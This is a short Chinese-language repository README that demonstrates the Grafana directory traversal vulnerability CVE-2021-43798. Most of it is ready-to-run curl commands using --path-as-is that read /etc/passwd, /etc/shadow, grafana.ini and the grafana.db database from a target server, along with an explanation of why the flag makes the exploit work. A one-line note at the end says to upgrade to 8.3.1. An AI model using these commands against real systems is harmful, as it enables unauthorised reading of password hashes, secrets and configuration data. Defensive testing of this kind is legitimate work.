该仓库演示了如何利用 Grafana 中的目录遍历漏洞 CVE-2021-43798。该漏洞允许攻击者读取服务器上的任意文件。
要手动利用该漏洞,可以使用以下 curl 命令之一尝试读取敏感文件:
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"
在利用 Grafana CVE-2021-43798 目录遍历漏洞时,--path-as-is 选项至关重要,因为它允许将特制的遍历序列(../../../../../)直接发送到服务器而无需修改。这可能导致访问服务器上预期目录之外的敏感文件。
如果不使用 --path-as-is,curl 可能会将路径规范化为类似 /public/plugins/Users/install.txt 的形式,从而无法利用该漏洞。通过使用 --path-as-is,可以保留精确的遍历序列,从而使漏洞利用成功。
您可以在 curl 文档中找到关于 --path-as-is 选项的更多详细信息。通过理解并运用 --path-as-is,安全专业人员和研究人员可以有效地演示和测试 Web 应用程序中的目录遍历漏洞。
要缓解此漏洞,请将 Grafana 升级到 8.3.1 或更高版本。